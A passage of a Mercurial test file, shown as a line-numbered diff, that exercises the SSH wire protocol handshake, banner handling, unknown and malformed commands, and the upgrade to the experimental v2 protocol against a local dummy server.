148 148 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
149 i> write(98) -> None:
149 i> write(98) -> 98:
150 150 i> between\n
151 151 i> pairs 81\n
152 152 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
153 153 o> readline() -> 2:
154 154 o> 1\n
155 155 o> readline() -> 1:
156 156 o> \n
157 157
158 158 SSH banner is not printed by default, ignored by clients
159 159
160 160 $ SSHSERVERMODE=banner hg debugpeer ssh://user@dummy/server
161 161 url: ssh://user@dummy/server
162 162 local: no
163 163 pushable: yes
164 164
165 165 --debug will print the banner
166 166
167 167 $ SSHSERVERMODE=banner hg --debug debugpeer ssh://user@dummy/server
168 168 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
169 169 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
170 170 devel-peer-request: hello
171 171 sending hello command
172 172 devel-peer-request: between
173 173 devel-peer-request: pairs: 81 bytes
174 174 sending between command
175 175 remote: banner: line 0
176 176 remote: banner: line 1
177 177 remote: banner: line 2
178 178 remote: banner: line 3
179 179 remote: banner: line 4
180 180 remote: banner: line 5
181 181 remote: banner: line 6
182 182 remote: banner: line 7
183 183 remote: banner: line 8
184 184 remote: banner: line 9
185 185 remote: 384
186 186 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
187 187 remote: 1
188 188 url: ssh://user@dummy/server
189 189 local: no
190 190 pushable: yes
191 191
192 192 And test the banner with the raw protocol
193 193
194 194 $ SSHSERVERMODE=banner hg -R server debugwireproto --localssh --peer raw << EOF
195 195 > raw
196 196 > hello\n
197 197 > readline
198 198 > readline
199 199 > readline
200 200 > readline
201 201 > readline
202 202 > readline
203 203 > readline
204 204 > readline
205 205 > readline
206 206 > readline
207 207 > readline
208 208 > readline
209 209 > raw
210 210 > between\n
211 211 > pairs 81\n
212 212 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
213 213 > readline
214 214 > readline
215 215 > EOF
216 216 using raw connection to peer
217 i> write(6) -> None:
217 i> write(6) -> 6:
218 218 i> hello\n
219 219 o> readline() -> 15:
220 220 o> banner: line 0\n
221 221 o> readline() -> 15:
222 222 o> banner: line 1\n
223 223 o> readline() -> 15:
224 224 o> banner: line 2\n
225 225 o> readline() -> 15:
226 226 o> banner: line 3\n
227 227 o> readline() -> 15:
228 228 o> banner: line 4\n
229 229 o> readline() -> 15:
230 230 o> banner: line 5\n
231 231 o> readline() -> 15:
232 232 o> banner: line 6\n
233 233 o> readline() -> 15:
234 234 o> banner: line 7\n
235 235 o> readline() -> 15:
236 236 o> banner: line 8\n
237 237 o> readline() -> 15:
238 238 o> banner: line 9\n
239 239 o> readline() -> 4:
240 240 o> 384\n
241 241 o> readline() -> 384:
242 242 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
243 i> write(98) -> None:
243 i> write(98) -> 98:
244 244 i> between\n
245 245 i> pairs 81\n
246 246 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
247 247 o> readline() -> 2:
248 248 o> 1\n
249 249 o> readline() -> 1:
250 250 o> \n
251 251
252 252 Connecting to a <0.9.1 server that doesn't support the hello command.
253 253 The client should refuse, as we dropped support for connecting to such
254 254 servers.
255 255
256 256 $ SSHSERVERMODE=no-hello hg --debug debugpeer ssh://user@dummy/server
257 257 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
258 258 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
259 259 devel-peer-request: hello
260 260 sending hello command
261 261 devel-peer-request: between
262 262 devel-peer-request: pairs: 81 bytes
263 263 sending between command
264 264 remote: 0
265 265 remote: 1
266 266 abort: no suitable response from remote hg!
267 267 [255]
268 268
269 269 Sending an unknown command to the server results in an empty response to that command
270 270
271 271 $ hg -R server debugwireproto --localssh --peer raw << EOF
272 272 > raw
273 273 > pre-hello\n
274 274 > readline
275 275 > raw
276 276 > hello\n
277 277 > readline
278 278 > raw
279 279 > between\n
280 280 > pairs 81\n
281 281 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
282 282 > readline
283 283 > readline
284 284 > EOF
285 285 using raw connection to peer
286 i> write(10) -> None:
286 i> write(10) -> 10:
287 287 i> pre-hello\n
288 288 o> readline() -> 2:
289 289 o> 0\n
290 i> write(6) -> None:
290 i> write(6) -> 6:
291 291 i> hello\n
292 292 o> readline() -> 4:
293 293 o> 384\n
294 i> write(98) -> None:
294 i> write(98) -> 98:
295 295 i> between\n
296 296 i> pairs 81\n
297 297 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
298 298 o> readline() -> 384:
299 299 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
300 300 o> readline() -> 2:
301 301 o> 1\n
302 302
303 303 $ hg --config sshpeer.mode=extra-handshake-commands --config sshpeer.handshake-mode=pre-no-args --debug debugpeer ssh://user@dummy/server
304 304 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
305 305 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
306 306 sending no-args command
307 307 devel-peer-request: hello
308 308 sending hello command
309 309 devel-peer-request: between
310 310 devel-peer-request: pairs: 81 bytes
311 311 sending between command
312 312 remote: 0
313 313 remote: 384
314 314 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
315 315 remote: 1
316 316 url: ssh://user@dummy/server
317 317 local: no
318 318 pushable: yes
319 319
320 320 Send multiple unknown commands before hello
321 321
322 322 $ hg -R server debugwireproto --localssh --peer raw << EOF
323 323 > raw
324 324 > unknown1\n
325 325 > readline
326 326 > raw
327 327 > unknown2\n
328 328 > readline
329 329 > raw
330 330 > unknown3\n
331 331 > readline
332 332 > raw
333 333 > hello\n
334 334 > readline
335 335 > readline
336 336 > raw
337 337 > between\n
338 338 > pairs 81\n
339 339 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
340 340 > readline
341 341 > readline
342 342 > EOF
343 343 using raw connection to peer
344 i> write(9) -> None:
344 i> write(9) -> 9:
345 345 i> unknown1\n
346 346 o> readline() -> 2:
347 347 o> 0\n
348 i> write(9) -> None:
348 i> write(9) -> 9:
349 349 i> unknown2\n
350 350 o> readline() -> 2:
351 351 o> 0\n
352 i> write(9) -> None:
352 i> write(9) -> 9:
353 353 i> unknown3\n
354 354 o> readline() -> 2:
355 355 o> 0\n
356 i> write(6) -> None:
356 i> write(6) -> 6:
357 357 i> hello\n
358 358 o> readline() -> 4:
359 359 o> 384\n
360 360 o> readline() -> 384:
361 361 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
362 i> write(98) -> None:
362 i> write(98) -> 98:
363 363 i> between\n
364 364 i> pairs 81\n
365 365 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
366 366 o> readline() -> 2:
367 367 o> 1\n
368 368 o> readline() -> 1:
369 369 o> \n
370 370
371 371 $ hg --config sshpeer.mode=extra-handshake-commands --config sshpeer.handshake-mode=pre-multiple-no-args --debug debugpeer ssh://user@dummy/server
372 372 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
373 373 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
374 374 sending unknown1 command
375 375 sending unknown2 command
376 376 sending unknown3 command
377 377 devel-peer-request: hello
378 378 sending hello command
379 379 devel-peer-request: between
380 380 devel-peer-request: pairs: 81 bytes
381 381 sending between command
382 382 remote: 0
383 383 remote: 0
384 384 remote: 0
385 385 remote: 384
386 386 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
387 387 remote: 1
388 388 url: ssh://user@dummy/server
389 389 local: no
390 390 pushable: yes
391 391
392 392 Send an unknown command before hello that has arguments
393 393
394 394 $ cd server
395 395
396 396 $ hg debugwireproto --localssh --peer raw << EOF
397 397 > raw
398 398 > with-args\n
399 399 > foo 13\n
400 400 > value for foo\n
401 401 > bar 13\n
402 402 > value for bar\n
403 403 > readline
404 404 > readline
405 405 > readline
406 406 > readline
407 407 > readline
408 408 > raw
409 409 > hello\n
410 410 > readline
411 411 > readline
412 412 > raw
413 413 > between\n
414 414 > pairs 81\n
415 415 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
416 416 > readline
417 417 > readline
418 418 > EOF
419 419 using raw connection to peer
420 i> write(52) -> None:
420 i> write(52) -> 52:
421 421 i> with-args\n
422 422 i> foo 13\n
423 423 i> value for foo\n
424 424 i> bar 13\n
425 425 i> value for bar\n
426 426 o> readline() -> 2:
427 427 o> 0\n
428 428 o> readline() -> 2:
429 429 o> 0\n
430 430 o> readline() -> 2:
431 431 o> 0\n
432 432 o> readline() -> 2:
433 433 o> 0\n
434 434 o> readline() -> 2:
435 435 o> 0\n
436 i> write(6) -> None:
436 i> write(6) -> 6:
437 437 i> hello\n
438 438 o> readline() -> 4:
439 439 o> 384\n
440 440 o> readline() -> 384:
441 441 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
442 i> write(98) -> None:
442 i> write(98) -> 98:
443 443 i> between\n
444 444 i> pairs 81\n
445 445 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
446 446 o> readline() -> 2:
447 447 o> 1\n
448 448 o> readline() -> 1:
449 449 o> \n
450 450
451 451 Send an unknown command having an argument that looks numeric
452 452
453 453 $ hg debugwireproto --localssh --peer raw << EOF
454 454 > raw
455 455 > unknown\n
456 456 > foo 1\n
457 457 > 0\n
458 458 > readline
459 459 > readline
460 460 > readline
461 461 > raw
462 462 > hello\n
463 463 > readline
464 464 > readline
465 465 > raw
466 466 > between\n
467 467 > pairs 81\n
468 468 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
469 469 > readline
470 470 > readline
471 471 > EOF
472 472 using raw connection to peer
473 i> write(16) -> None:
473 i> write(16) -> 16:
474 474 i> unknown\n
475 475 i> foo 1\n
476 476 i> 0\n
477 477 o> readline() -> 2:
478 478 o> 0\n
479 479 o> readline() -> 2:
480 480 o> 0\n
481 481 o> readline() -> 2:
482 482 o> 0\n
483 i> write(6) -> None:
483 i> write(6) -> 6:
484 484 i> hello\n
485 485 o> readline() -> 4:
486 486 o> 384\n
487 487 o> readline() -> 384:
488 488 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
489 i> write(98) -> None:
489 i> write(98) -> 98:
490 490 i> between\n
491 491 i> pairs 81\n
492 492 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
493 493 o> readline() -> 2:
494 494 o> 1\n
495 495 o> readline() -> 1:
496 496 o> \n
497 497
498 498 $ hg debugwireproto --localssh --peer raw << EOF
499 499 > raw
500 500 > unknown\n
501 501 > foo 1\n
502 502 > 1\n
503 503 > readline
504 504 > readline
505 505 > readline
506 506 > raw
507 507 > hello\n
508 508 > readline
509 509 > readline
510 510 > raw
511 511 > between\n
512 512 > pairs 81\n
513 513 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
514 514 > readline
515 515 > readline
516 516 > EOF
517 517 using raw connection to peer
518 i> write(16) -> None:
518 i> write(16) -> 16:
519 519 i> unknown\n
520 520 i> foo 1\n
521 521 i> 1\n
522 522 o> readline() -> 2:
523 523 o> 0\n
524 524 o> readline() -> 2:
525 525 o> 0\n
526 526 o> readline() -> 2:
527 527 o> 0\n
528 i> write(6) -> None:
528 i> write(6) -> 6:
529 529 i> hello\n
530 530 o> readline() -> 4:
531 531 o> 384\n
532 532 o> readline() -> 384:
533 533 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
534 i> write(98) -> None:
534 i> write(98) -> 98:
535 535 i> between\n
536 536 i> pairs 81\n
537 537 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
538 538 o> readline() -> 2:
539 539 o> 1\n
540 540 o> readline() -> 1:
541 541 o> \n
542 542
543 543 When sending a dict argument value, it is serialized to
544 544 "<arg> <item count>" followed by "<key> <len>\n<value>" for each item
545 545 in the dict.
546 546
547 547 Dictionary value for unknown command
548 548
549 549 $ hg debugwireproto --localssh --peer raw << EOF
550 550 > raw
551 551 > unknown\n
552 552 > dict 3\n
553 553 > key1 3\n
554 554 > foo\n
555 555 > key2 3\n
556 556 > bar\n
557 557 > key3 3\n
558 558 > baz\n
559 559 > readline
560 560 > readline
561 561 > readline
562 562 > readline
563 563 > readline
564 564 > readline
565 565 > readline
566 566 > readline
567 567 > raw
568 568 > hello\n
569 569 > readline
570 570 > readline
571 571 > EOF
572 572 using raw connection to peer
573 i> write(48) -> None:
573 i> write(48) -> 48:
574 574 i> unknown\n
575 575 i> dict 3\n
576 576 i> key1 3\n
577 577 i> foo\n
578 578 i> key2 3\n
579 579 i> bar\n
580 580 i> key3 3\n
581 581 i> baz\n
582 582 o> readline() -> 2:
583 583 o> 0\n
584 584 o> readline() -> 2:
585 585 o> 0\n
586 586 o> readline() -> 2:
587 587 o> 0\n
588 588 o> readline() -> 2:
589 589 o> 0\n
590 590 o> readline() -> 2:
591 591 o> 0\n
592 592 o> readline() -> 2:
593 593 o> 0\n
594 594 o> readline() -> 2:
595 595 o> 0\n
596 596 o> readline() -> 2:
597 597 o> 0\n
598 i> write(6) -> None:
598 i> write(6) -> 6:
599 599 i> hello\n
600 600 o> readline() -> 4:
601 601 o> 384\n
602 602 o> readline() -> 384:
603 603 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
604 604
605 605 Incomplete dictionary send
606 606
607 607 $ hg debugwireproto --localssh --peer raw << EOF
608 608 > raw
609 609 > unknown\n
610 610 > dict 3\n
611 611 > key1 3\n
612 612 > foo\n
613 613 > readline
614 614 > readline
615 615 > readline
616 616 > readline
617 617 > EOF
618 618 using raw connection to peer
619 i> write(26) -> None:
619 i> write(26) -> 26:
620 620 i> unknown\n
621 621 i> dict 3\n
622 622 i> key1 3\n
623 623 i> foo\n
624 624 o> readline() -> 2:
625 625 o> 0\n
626 626 o> readline() -> 2:
627 627 o> 0\n
628 628 o> readline() -> 2:
629 629 o> 0\n
630 630 o> readline() -> 2:
631 631 o> 0\n
632 632
633 633 Incomplete value send
634 634
635 635 $ hg debugwireproto --localssh --peer raw << EOF
636 636 > raw
637 637 > unknown\n
638 638 > dict 3\n
639 639 > key1 3\n
640 640 > fo
641 641 > readline
642 642 > readline
643 643 > readline
644 644 > EOF
645 645 using raw connection to peer
646 i> write(24) -> None:
646 i> write(24) -> 24:
647 647 i> unknown\n
648 648 i> dict 3\n
649 649 i> key1 3\n
650 650 i> fo
651 651 o> readline() -> 2:
652 652 o> 0\n
653 653 o> readline() -> 2:
654 654 o> 0\n
655 655 o> readline() -> 2:
656 656 o> 0\n
657 657
658 658 Send a command line with spaces
659 659
660 660 $ hg debugwireproto --localssh --peer raw << EOF
661 661 > raw
662 662 > unknown withspace\n
663 663 > readline
664 664 > raw
665 665 > hello\n
666 666 > readline
667 667 > readline
668 668 > raw
669 669 > between\n
670 670 > pairs 81\n
671 671 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
672 672 > readline
673 673 > readline
674 674 > EOF
675 675 using raw connection to peer
676 i> write(18) -> None:
676 i> write(18) -> 18:
677 677 i> unknown withspace\n
678 678 o> readline() -> 2:
679 679 o> 0\n
680 i> write(6) -> None:
680 i> write(6) -> 6:
681 681 i> hello\n
682 682 o> readline() -> 4:
683 683 o> 384\n
684 684 o> readline() -> 384:
685 685 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
686 i> write(98) -> None:
686 i> write(98) -> 98:
687 687 i> between\n
688 688 i> pairs 81\n
689 689 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
690 690 o> readline() -> 2:
691 691 o> 1\n
692 692 o> readline() -> 1:
693 693 o> \n
694 694
695 695 $ hg debugwireproto --localssh --peer raw << EOF
696 696 > raw
697 697 > unknown with multiple spaces\n
698 698 > readline
699 699 > raw
700 700 > hello\n
701 701 > readline
702 702 > readline
703 703 > raw
704 704 > between\n
705 705 > pairs 81\n
706 706 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
707 707 > readline
708 708 > EOF
709 709 using raw connection to peer
710 i> write(29) -> None:
710 i> write(29) -> 29:
711 711 i> unknown with multiple spaces\n
712 712 o> readline() -> 2:
713 713 o> 0\n
714 i> write(6) -> None:
714 i> write(6) -> 6:
715 715 i> hello\n
716 716 o> readline() -> 4:
717 717 o> 384\n
718 718 o> readline() -> 384:
719 719 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
720 i> write(98) -> None:
720 i> write(98) -> 98:
721 721 i> between\n
722 722 i> pairs 81\n
723 723 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
724 724 o> readline() -> 2:
725 725 o> 1\n
726 726
727 727 $ hg debugwireproto --localssh --peer raw << EOF
728 728 > raw
729 729 > unknown with spaces\n
730 730 > key 10\n
731 731 > some value\n
732 732 > readline
733 733 > readline
734 734 > readline
735 735 > raw
736 736 > hello\n
737 737 > readline
738 738 > readline
739 739 > raw
740 740 > between\n
741 741 > pairs 81\n
742 742 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
743 743 > readline
744 744 > readline
745 745 > EOF
746 746 using raw connection to peer
747 i> write(38) -> None:
747 i> write(38) -> 38:
748 748 i> unknown with spaces\n
749 749 i> key 10\n
750 750 i> some value\n
751 751 o> readline() -> 2:
752 752 o> 0\n
753 753 o> readline() -> 2:
754 754 o> 0\n
755 755 o> readline() -> 2:
756 756 o> 0\n
757 i> write(6) -> None:
757 i> write(6) -> 6:
758 758 i> hello\n
759 759 o> readline() -> 4:
760 760 o> 384\n
761 761 o> readline() -> 384:
762 762 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
763 i> write(98) -> None:
763 i> write(98) -> 98:
764 764 i> between\n
765 765 i> pairs 81\n
766 766 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
767 767 o> readline() -> 2:
768 768 o> 1\n
769 769 o> readline() -> 1:
770 770 o> \n
771 771
772 772 Send an unknown command after the "between"
773 773
774 774 $ hg debugwireproto --localssh --peer raw << EOF
775 775 > raw
776 776 > hello\n
777 777 > readline
778 778 > readline
779 779 > raw
780 780 > between\n
781 781 > pairs 81\n
782 782 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000unknown
783 783 > readline
784 784 > readline
785 785 > EOF
786 786 using raw connection to peer
787 i> write(6) -> None:
787 i> write(6) -> 6:
788 788 i> hello\n
789 789 o> readline() -> 4:
790 790 o> 384\n
791 791 o> readline() -> 384:
792 792 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
793 i> write(105) -> None:
793 i> write(105) -> 105:
794 794 i> between\n
795 795 i> pairs 81\n
796 796 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000unknown
797 797 o> readline() -> 2:
798 798 o> 1\n
799 799 o> readline() -> 1:
800 800 o> \n
801 801
802 802 And one with arguments
803 803
804 804 $ hg debugwireproto --localssh --peer raw << EOF
805 805 > raw
806 806 > hello\n
807 807 > between\n
808 808 > pairs 81\n
809 809 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
810 810 > readline
811 811 > readline
812 812 > readline
813 813 > readline
814 814 > raw
815 815 > unknown\n
816 816 > foo 5\n
817 817 > \nvalue\n
818 818 > bar 3\n
819 819 > baz\n
820 820 > readline
821 821 > readline
822 822 > readline
823 823 > EOF
824 824 using raw connection to peer
825 i> write(104) -> None:
825 i> write(104) -> 104:
826 826 i> hello\n
827 827 i> between\n
828 828 i> pairs 81\n
829 829 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
830 830 o> readline() -> 4:
831 831 o> 384\n
832 832 o> readline() -> 384:
833 833 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
834 834 o> readline() -> 2:
835 835 o> 1\n
836 836 o> readline() -> 1:
837 837 o> \n
838 i> write(31) -> None:
838 i> write(31) -> 31:
839 839 i> unknown\n
840 840 i> foo 5\n
841 841 i> \n
842 842 i> value\n
843 843 i> bar 3\n
844 844 i> baz\n
845 845 o> readline() -> 2:
846 846 o> 0\n
847 847 o> readline() -> 2:
848 848 o> 0\n
849 849 o> readline() -> 0:
850 850
851 851 Send a valid command before the handshake
852 852
853 853 $ hg debugwireproto --localssh --peer raw << EOF
854 854 > raw
855 855 > heads\n
856 856 > readline
857 857 > raw
858 858 > hello\n
859 859 > between\n
860 860 > pairs 81\n
861 861 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
862 862 > readline
863 863 > readline
864 864 > readline
865 865 > readline
866 866 > EOF
867 867 using raw connection to peer
868 i> write(6) -> None:
868 i> write(6) -> 6:
869 869 i> heads\n
870 870 o> readline() -> 3:
871 871 o> 41\n
872 i> write(104) -> None:
872 i> write(104) -> 104:
873 873 i> hello\n
874 874 i> between\n
875 875 i> pairs 81\n
876 876 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
877 877 o> readline() -> 41:
878 878 o> 68986213bd4485ea51533535e3fc9e78007a711f\n
879 879 o> readline() -> 4:
880 880 o> 384\n
881 881 o> readline() -> 384:
882 882 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
883 883 o> readline() -> 2:
884 884 o> 1\n
885 885
886 886 And a variation that doesn't send the between command
887 887
888 888 $ hg debugwireproto --localssh --peer raw << EOF
889 889 > raw
890 890 > heads\n
891 891 > readline
892 892 > raw
893 893 > hello\n
894 894 > readline
895 895 > readline
896 896 > EOF
897 897 using raw connection to peer
898 i> write(6) -> None:
898 i> write(6) -> 6:
899 899 i> heads\n
900 900 o> readline() -> 3:
901 901 o> 41\n
902 i> write(6) -> None:
902 i> write(6) -> 6:
903 903 i> hello\n
904 904 o> readline() -> 41:
905 905 o> 68986213bd4485ea51533535e3fc9e78007a711f\n
906 906 o> readline() -> 4:
907 907 o> 384\n
908 908
909 909 Send an upgrade request to a server that doesn't support that command
910 910
911 911 $ hg debugwireproto --localssh --peer raw << EOF
912 912 > raw
913 913 > upgrade 2e82ab3f-9ce3-4b4e-8f8c-6fd1c0e9e23a proto=irrelevant1%2Cirrelevant2\n
914 914 > readline
915 915 > raw
916 916 > hello\n
917 917 > between\n
918 918 > pairs 81\n
919 919 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
920 920 > readline
921 921 > readline
922 922 > readline
923 923 > readline
924 924 > EOF
925 925 using raw connection to peer
926 i> write(77) -> None:
926 i> write(77) -> 77:
927 927 i> upgrade 2e82ab3f-9ce3-4b4e-8f8c-6fd1c0e9e23a proto=irrelevant1%2Cirrelevant2\n
928 928 o> readline() -> 2:
929 929 o> 0\n
930 i> write(104) -> None:
930 i> write(104) -> 104:
931 931 i> hello\n
932 932 i> between\n
933 933 i> pairs 81\n
934 934 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
935 935 o> readline() -> 4:
936 936 o> 384\n
937 937 o> readline() -> 384:
938 938 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
939 939 o> readline() -> 2:
940 940 o> 1\n
941 941 o> readline() -> 1:
942 942 o> \n
943 943
944 944 $ cd ..
945 945
946 946 $ hg --config experimental.sshpeer.advertise-v2=true --debug debugpeer ssh://user@dummy/server
947 947 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
948 948 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
949 949 sending upgrade request: * proto=exp-ssh-v2-0001 (glob)
950 950 devel-peer-request: hello
951 951 sending hello command
952 952 devel-peer-request: between
953 953 devel-peer-request: pairs: 81 bytes
954 954 sending between command
955 955 remote: 0
956 956 remote: 384
957 957 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
958 958 remote: 1
959 959 url: ssh://user@dummy/server
960 960 local: no
961 961 pushable: yes
962 962
963 963 Enable version 2 support on server. We need to do this in hgrc because we can't
964 964 use --config with `hg serve --stdio`.
965 965
966 966 $ cat >> server/.hg/hgrc << EOF
967 967 > [experimental]
968 968 > sshserver.support-v2 = true
969 969 > EOF
970 970
971 971 Send an upgrade request to a server that supports upgrade
972 972
973 973 $ cd server
974 974
975 975 $ hg debugwireproto --localssh --peer raw << EOF
976 976 > raw
977 977 > upgrade this-is-some-token proto=exp-ssh-v2-0001\n
978 978 > hello\n
979 979 > between\n
980 980 > pairs 81\n
981 981 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
982 982 > readline
983 983 > readline
984 984 > readline
985 985 > EOF
986 986 using raw connection to peer
987 i> write(153) -> None:
987 i> write(153) -> 153:
988 988 i> upgrade this-is-some-token proto=exp-ssh-v2-0001\n
989 989 i> hello\n
990 990 i> between\n
991 991 i> pairs 81\n
992 992 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
993 993 o> readline() -> 44:
994 994 o> upgraded this-is-some-token exp-ssh-v2-0001\n
995 995 o> readline() -> 4:
996 996 o> 383\n
997 997 o> readline() -> 384:
998 998 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
999 999
1000 1000 $ cd ..
1001 1001
1002 1002 $ hg --config experimental.sshpeer.advertise-v2=true --debug debugpeer ssh://user@dummy/server
1003 1003 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
1004 1004 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
1005 1005 sending upgrade request: * proto=exp-ssh-v2-0001 (glob)
1006 1006 devel-peer-request: hello
1007 1007 sending hello command
1008 1008 devel-peer-request: between
1009 1009 devel-peer-request: pairs: 81 bytes
1010 1010 sending between command
1011 1011 protocol upgraded to exp-ssh-v2-0001
1012 1012 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1013 1013 url: ssh://user@dummy/server
1014 1014 local: no
1015 1015 pushable: yes
1016 1016
1017 1017 Verify the peer has capabilities
1018 1018
1019 1019 $ hg --config experimental.sshpeer.advertise-v2=true --debug debugcapabilities ssh://user@dummy/server
1020 1020 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
1021 1021 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
1022 1022 sending upgrade request: * proto=exp-ssh-v2-0001 (glob)
1023 1023 devel-peer-request: hello
1024 1024 sending hello command
1025 1025 devel-peer-request: between
1026 1026 devel-peer-request: pairs: 81 bytes
1027 1027 sending between command
1028 1028 protocol upgraded to exp-ssh-v2-0001
